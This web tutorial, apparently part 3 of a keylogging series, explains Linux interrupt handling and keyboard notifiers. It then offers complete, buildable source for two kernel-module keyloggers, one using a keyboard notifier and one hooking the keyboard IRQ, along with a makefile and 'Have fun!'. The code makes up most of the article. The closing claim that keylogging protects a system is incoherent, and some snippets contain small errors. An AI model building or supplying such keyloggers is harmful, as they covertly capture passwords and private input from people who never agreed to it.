Laptop Bed2 Esm W900

In Complete Guide to Keylogging in Linux: Part 1 and Complete Guide to Keylogging in Linux: Part 2, we discussed the basics of keylogging and a few options you can utilize to check your server for attacks in network security. This article will discuss what techniques you can implement to capture keyboard events within a Linux kernel.

What is the Linux Kernel Responsible For?

A kernel is responsible for setting up interrupt handlers, which the Linux kernel does by populating the Interrupt Descriptor Table and passing it to the CPU. The CPU then understands what routine to perform. Kernels provide a keyboard notification system that accepts **notifier_block** objects from other Linux Security modules and corresponds with callbacks within all keyboard events. Here is a detailed diagram of keyboard handling: 



    +---------------------+             +-----------+  (2)  +----------+
    |     USER LAND       |             | Interrupt | ----->| Keyboard |
    +---------------------+   +--=----->|  Handler  |<----- | Notifier |
                   ^          |         +-------+---+  (3)  +----------+
       keycode /   |          |                 |
     scancode      |          |                 |
               (5) |          |(1)              |(4)
                   |          |                 |
                   |          |                 |
                +--+----------+--+              |
                |                |<--------=----+
                |     KERNEL     |                      Interrupt
                |                |<---------=---------------------+
                +----------------+                                |
                                                                  |
    +----------+     USB, PS/2      +-------------+ PCI, ...   +-----+
    | keyboard |------------------->| motherboard |----------->| CPU |
    +----------+    key up/down     +-------------+            +-----+
 

What Is an Interrupt?

Interrupts are events that alter the execution flows of normal programming. Hardware devices and CPUs can generate these interrupts. We divide interrupts into two categories: synchronous, or generation through instruction execution, and asynchronous, or generation by external events. Users can see interrupts classified in other forms, such as maskable, which means the interrupt can be ignored or signaled through INT pins, and non-maskable, which cannot be overlooked and are signaled through NMI pins. 

How Do Interrupts Work at the Hardware Level?

The CPU and interrupt devices generally do not connect. Instead, the hardware uses Programmable Interrupt Controllers (PICs) to supply the CPU with interrupts from multiple devices by converting them to a suitable format. Here is what the programming looks like:


    +-------------+
    |             |     NMI
    |             |<---------------    |             |
    |     CPU     |                 +-------------+    irq 0
    |             |     INTR        |             |<----------- Device 0
    |             |<----------------+             |    irq 1
    |             |                 |             |<----------- Device 1
    +-------------+                 |     PIC     |
                                    |             |    irq N
                                    |             |<----------- Device N
                                    |             |
                                    +-------------+
 
PIC-to-CPU communication is generally not the most productive. Therefore, we utilize Advanced Programmable Interrupt Controllers (APICs) combined with local APICs to see locally connected devices, including thermal sensors and timers, in action. Here is what the configuration looks like: 


           |                               |                               |
           | Local                         | Local                         | Local
           | IRQ                           | IRQ                           | IRQ
           |                               |                               |
           |                               |                               |
    +------+------+                 +------+------+                 +------+------+
    |             |                 |             |                 |             |
    |             |                 |             |                 |             |
    |             |                 |             |                 |             |
    |    CPU 0    |                 |    CPU 1    |                 |    CPU N    |
    |             |                 |             |                 |             |
    |             |                 |             |                 |             |
    | local APIC  |                 | local APIC  |                 | local APIC  |
    +-------------+                 +-------------+                 +-------------+
          ^^                              ^^                              ^^
          || INT                          || INT                          || INT
          ||                              ||                              ||
          || 0-N                          || 0-N                          || 0-N
          ||                              ||                              ||
          vv                              vv                              vv
    +-----------------------------------------------------------------------------+
    |                  Interrupt Controller Communication Bus                     |
    +-----------------------------------------------------------------------------+
                                           ^
                                           |
                                           |
                                           |
                External        +----------+--------+
            ------------------->|      I/O APIC     |
                Interrupts      +-------------------+
 
External devices are interfaced with I/O APIC, which takes interrupts from them, and passes to some CPU core (depending upon how IRQs are scheduled) to handle it. This happens in roughly following manner:
 
- Some device raises IRQ pin to trigger interrupt.
- APIC converts the IRQ into a vector number and writes it to a port for CPU core to read
- APIC raises an interrupt on INTR pin
- APIC waits for CPU to acknowledge an interrupt
- CPU handles the interrupt (or maybe drops/ignores it).
 

How Do Interrupts Work at the Software Level?

Linux Software Security2We limit ourselves to handling interrupts on our CPU rather than handling the interrupts at the device or APIC levels. We start the procedure by checking current execution privileges and switching them as needed. For example, we might need to stack with required privileges or copy them into a new stack. Then, we will take a backup of the CPU states to utilize context switching across registers and error codes to adjust the context if necessary. The CPU will look into the IDTW register and find the IDT's location. After, it will use the interrupt vector number as a key for finding start addresses for corresponding handlers with the jump table, and they will then take care of translations. Finally, the CPU will execute the interrupt handler, return from the interrupt handler (IRET), restore the registers and error codes, and switch to previous privileges.

Linux typically handles interrupts through three phases, though not all interrupt handlers will have all of these phases: 

  1. The kernel disables local interrupts and acknowledges the request. Then, the kernel runs a generic interrupt handler to determine the interrupt number and handler for this particular interrupt and controller. This scanning helps us determine if an interrupt request is across multiple devices, known as a shared interrupt.
  2. Linux will execute any associated handlers from corresponding device drivers. The software then calls an “end of interrupt” for the chain so they can re-assert control with the interrupt controller.
  3. The Linux kernel enables the local interrupt processors and executes deferred interrupt context actions.

Deferred functions can help run callback functions later in the process. If you can schedule deferrable actions from the interrupt handler, associated callback functions run once the interrupt handler completes.

What is a Keyboard Notifier?

A keyboard notifier focuses on contacting callbacks to pass data in **keyboard_notifier_param** formats. Here is what they look like:


struct keyboard_notifier_param {
struct vc_data *vc;
int down;
int shift;
int ledstate;
unsigned int value;
};

Keyboard notifiers focus on providing a virtual console for each keyboard event. Press 1 for a key press event or 0 for a key release. The shift is the current modifier state, and the mask bit indexes are KG_*. The value of the keyboard notifier depends on the event type. Here are a few of the options:

  • **KBD_KEYCODE** has value as the keycode and is sent before other events.
  • **KBD_UNBOUND_KEYCODE** events occur if the event does not tie to keysym values in the keycode.
  • **KBD_UNICODE** will be sent if the keycode → keysym translation produced is a unicode character and value.
  • **KBD_KEYSYM** results from non-unicode characters produced from keycode → keysym translations, and the value is keysym.
  • **KBD_POST_KEYSYM** are events they send after non-unicode keysyms undergo treatment. This keyboard notifier permits LED inspections.

For more details and information, refer to kbd_keycode() in drivers/tty/vt/keyboard.c.

How Can I Use Keylogging in Linux Kernels?

Let’s discuss the two ways you can capture keyboard events in the kernel:

How Can I Capture Keyboard Events with a Notifier?

Start by registering your keyboard notifier blocks. Check the callback for KBD_KEYCODE events and extract any keycodes. Convert keycodes to readable strings by mapping them on a standard EN-US keyboard map. Here is what the event notification callback can look like:

 


int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
    char keybuf[12] = {0};
    struct keyboard_notifier_param *param = _param;
 
    if (!(param->down)) return NOTIFY_OK;
 
    keycode_to_string(param->value, param->shift, keybuf, 12);
 
    if (strlen(keybuf); < 1) return NOTIFY_OK;
 
    printk(KERN_INFO "Keylog: %s", keybuf);
 
    return NOTIFY_OK;
}
 With this coding, you can register a handler at load time or unregister it at unload time:

static struct notifier_block keysniffer_blk = {
        .notifier_call = keyboard_event_handler,
};
 
static int __init keylogger_init(void)
{
        register_keyboard_notifier(&keysniffer_blk);
        return 0;
}
 
static void __exit keylogger_exit(void)
{
        unregister_keyboard_notifier(&keysniffer_blk);
}

Map incoming keycodes to corresponding ones with mapping. The complete listing of implementation references is at the end of the article.

How Can I Capture Keyboard Events with My Interrupt Handler?

Linux Software Security1pngWe can have multiple interrupt request handlers by following these steps:

  • Install an interrupt handler.
  • Capture the keycode from the keyboard.
  • Map the keycode to the key name.
  • Log that information somewhere secure.

Unfortunately, this setup can cause some network security issues. We should not be performing the logging aspect of the request handler since interrupts like to move quickly without blockage. Deferred actions are useful in these instances, as you can use such actions to log captured data so the interrupt handler can complete its job. Then, we can use a "tasklet" function to run the interrupt context.

Since this is a low level of work, we need to deal with keycode extractions independently. Most laptop keyboards use PS/2 interfaces to talk to a host, so we will utilize such in our explanations. PS/2 keyboards generally use two ports for communication: the 0x60 Data Register and the 0x64 Command Register, both to read and write. Keycodes will be the data we look at through the keypress events that can help us get information from port 0x0 in our interrupt handler. Write a minimal IRQ handler like this:



irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
    scancode = inb(0x60);
    return (irq_handler_t)IRQ_HANDLED;
}
The tasklet can be defined as shown below:
void tasklet_logger(unsigned long dummy)
{
    ...
}
 
DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);
Now we can register our tasklet and IRQ handlers as shown below:
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
    data.scancode = inb(0x60);
    tasklet_schedule(&my_tasklet);
    return (irq_handler_t)IRQ_HANDLED;
}
 
static int __init kb_init(void)
{
    int ret;
 
    ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
    if(ret != 0){
            printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
    }
 
    return ret;
}
 
static void __exit kb_exit(void)
{
    tasklet_kill(&my_tasklet);
    free_irq(KB_IRQ, &data);
}

What is the Complete Source Code?

Here are the codes in their completion so you can utilize them for your keylogging:

Linux Keylogger Using Keyboard Notifier

 

 


#include <linux/module.h>
#include <linux/keyboard.h>
#include <linux/input.h>
 
MODULE_LICENSE("GPL");
 
static const char *us_keymap[][2] = {
    {"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},       // 0-3
    {"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},                 // 4-7
    {"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},                 // 8-11
    {"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"},         // 12-14
    {"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
    {"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},                 // 20-23
    {"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},                 // 24-27
    {"\n", "\n"}, {"_LCTRL_", "_LCTRL_"}, {"a", "A"}, {"s", "S"},   // 28-31
    {"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},                 // 32-35
    {"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},                 // 36-39
    {"'", "\""}, {"`", "~"}, {"_LSHIFT_", "_LSHIFT_"}, {"\\", "|"}, // 40-43
    {"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},                 // 44-47
    {"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},                 // 48-51
    {".", ">"}, {"/", "?"}, {"_RSHIFT_", "_RSHIFT_"}, {"_PRTSCR_", "_KPD*_"},
    {"_LALT_", "_LALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
    {"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},         // 60-63
    {"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},         // 64-67
    {"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"},   // 68-70
    {"_KPD7_", "_HOME_"}, {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, // 71-73
    {"-", "-"}, {"_KPD4_", "_LEFT_"}, {"_KPD5_", "_KPD5_"},         // 74-76
    {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},         // 77-79
    {"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, // 80-82
    {"_KPD._", "_DEL_"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"},      // 83-85
    {"\0", "\0"}, {"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"},     // 86-89
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
    {"\0", "\0"}, {"_KPENTER_", "_KPENTER_"}, {"_RCTRL_", "_RCTRL_"}, {"/", "/"},
    {"_PRTSCR_", "_PRTSCR_"}, {"_RALT_", "_RALT_"}, {"\0", "\0"},   // 99-101
    {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, {"_PGUP_", "_PGUP_"},   // 102-104
    {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
    {"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"},   // 108-110
    {"_DEL_", "_DEL_"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},   // 111-114
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},         // 115-118
    {"_PAUSE_", "_PAUSE_"},                                         // 119
};
 
void keycode_to_string(int keycode, int shift_mask, char *buf, unsigned int buf_size)
{
    if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE)
    {
        const char *us_key = (shift_mask == 1)
                                ? us_keymap[keycode][1]
                                : us_keymap[keycode][0];
 
        snprintf(buf, buf_size, "%s", us_key);
    }
}
 
int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
    char keybuf[12] = {0};
    struct keyboard_notifier_param *param = _param;
 
    if (!(param->down)) return NOTIFY_OK;
 
    keycode_to_string(param->value, param->shift, keybuf, 12);
 
    if (strlen(keybuf) < 1) return NOTIFY_OK;
 
    printk(KERN_INFO "Keylog: %s", keybuf);
 
    return NOTIFY_OK;
}
 
static struct notifier_block keysniffer_blk = {
    .notifier_call = keyboard_event_handler,
};
 
static int __init keylogger_init(void)
{
    register_keyboard_notifier(&keysniffer_blk);
    return 0;
}
 
static void __exit keylogger_exit(void)
{
    unregister_keyboard_notifier(&keysniffer_blk);
}
 
module_init(keylogger_init);
module_exit(keylogger_exit);

Linux Keylogging Using Custom Keyboard Interrupt Handler 



#include <linux/module.h>
#include <linux/interrupt.h>
#include <asm/io.h>
#include <linux/string.h>
 
#define KB_IRQ 1
 
struct logger_data{
    unsigned char scancode;
} data;
 
void tasklet_logger(unsigned long dummy)
{
    static int shift = 0;
 
    char buf[32];
    memset(buf, 0, sizeof(buf));
    switch(data.scancode){
        default: return;
 
        case 1: strcpy(buf, "(ESC)"); break;
        case 2: strcpy(buf, (shift) ? "!" : "1"); break;
        case 3: strcpy(buf, (shift) ? "@" : "2"); break;
        case 4: strcpy(buf, (shift) ? "#" : "3"); break;
        case 5: strcpy(buf, (shift) ? "$" : "4"); break;
        case 6: strcpy(buf, (shift) ? "%" : "5"); break;
        case 7: strcpy(buf, (shift) ? "^" : "6"); break;
        case 8: strcpy(buf, (shift) ? "&" : "7"); break;
        case 9: strcpy(buf, (shift) ? "*" : "8"); break;
        case 10: strcpy(buf, (shift) ? "(" : "9"); break;
        case 11: strcpy(buf, (shift) ? ")" : "0"); break;
        case 12: strcpy(buf, (shift) ? "_" : "-"); break;
        case 13: strcpy(buf, (shift) ? "+" : "="); break;
        case 14: strcpy(buf, "(BACK)"); break;
        case 15: strcpy(buf, "(TAB)"); break;
        case 16: strcpy(buf, (shift) ? "Q" : "q"); break;
        case 17: strcpy(buf, (shift) ? "W" : "w"); break;
        case 18: strcpy(buf, (shift) ? "E" : "e"); break;
        case 19: strcpy(buf, (shift) ? "R" : "r"); break;
        case 20: strcpy(buf, (shift) ? "T" : "t"); break;
        case 21: strcpy(buf, (shift) ? "Y" : "y"); break;
        case 22: strcpy(buf, (shift) ? "U" : "u"); break;
        case 23: strcpy(buf, (shift) ? "I" : "i"); break;
        case 24: strcpy(buf, (shift) ? "O" : "o"); break;
        case 25: strcpy(buf, (shift) ? "P" : "p"); break;
        case 26: strcpy(buf, (shift) ? "{" : "["); break;
        case 27: strcpy(buf, (shift) ? "}" : "]"); break;
        case 28: strcpy(buf, "(ENTER)"); break;
        case 29: strcpy(buf, "(CTRL)"); break;
        case 30: strcpy(buf, (shift) ? "A" : "a"); break;
        case 31: strcpy(buf, (shift) ? "S" : "s"); break;
        case 32: strcpy(buf, (shift) ? "D" : "d"); break;
        case 33: strcpy(buf, (shift) ? "F" : "f"); break;
        case 34: strcpy(buf, (shift) ? "G" : "g"); break;
        case 35: strcpy(buf, (shift) ? "H" : "h"); break;
        case 36: strcpy(buf, (shift) ? "J" : "j"); break;
        case 37: strcpy(buf, (shift) ? "K" : "k"); break;
        case 38: strcpy(buf, (shift) ? "L" : "l"); break;
        case 39: strcpy(buf, (shift) ? ":" : ";"); break;
        case 40: strcpy(buf, (shift) ? "\"" : "'"); break;
        case 41: strcpy(buf, (shift) ? "~" : "`"); break;
        case 42:
        case 54: shift = 1; break;
        case 170:
        case 182: shift = 0; break;
        case 44: strcpy(buf, (shift) ? "Z" : "z"); break;
        case 45: strcpy(buf, (shift) ? "X" : "x"); break;
        case 46: strcpy(buf, (shift) ? "C" : "c"); break;
        case 47: strcpy(buf, (shift) ? "V" : "v"); break;
        case 48: strcpy(buf, (shift) ? "B" : "b"); break;
        case 49: strcpy(buf, (shift) ? "N" : "n"); break;
        case 50: strcpy(buf, (shift) ? "M" : "m"); break;
        case 51: strcpy(buf, (shift) ? "<" : ","); break;
        case 52: strcpy(buf, (shift) ? ">" : "."); break;
        case 53: strcpy(buf, (shift) ? "?" : "/"); break;
        case 56: strcpy(buf, "(R-ALT"); break;
        case 55:
        case 57:
        case 58:
        case 59:
        case 60:
        case 61:
        case 62:
        case 63:
        case 64:
        case 65:
        case 66:
        case 67:
        case 68:
        case 70:
        case 71:
        case 72: strcpy(buf, " "); break;
        case 83:
        strcpy(buf, "(DEL)"); break;
    }
    printk(KERN_INFO "keylogger log: %s", buf);
}
 
DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);
 
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
        data.scancode = inb(0x60);
 
        tasklet_schedule(&my_tasklet);
        return (irq_handler_t)IRQ_HANDLED;
}
 
static int __init kb_init(void)
{
        int ret;
        printk(KERN_INFO "keylogger: initializing...");
 
        ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
        if(ret != 0){
                printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
        }
 
        printk(KERN_INFO "keylogger: initialization complete.");
 
        return ret;
}
 
static void __exit kb_exit(void)
{
        tasklet_kill(&my_tasklet);
 
        free_irq(KB_IRQ, &data);
 
        printk(KERN_INFO "keylogger: unloaded.");
}
 
MODULE_LICENSE("GPL");
 
module_init(kb_init);
module_exit(kb_exit);
You can use the following makefile to compile these:
 

obj-m += keylogger.o
 
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
 
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Have fun!

Final Thoughts on Kernel Interrupt Handlers

Preventing attacks in network security within your Linux kernel is essential to combating cloud security breaches from harming your server. Utilize interrupt handlers when keylogging so you can protect your system from any risk that may come your way. Look back at part 1 and part 2 of this Complete Guide if you haven’t already, and have fun while you improve your security posture!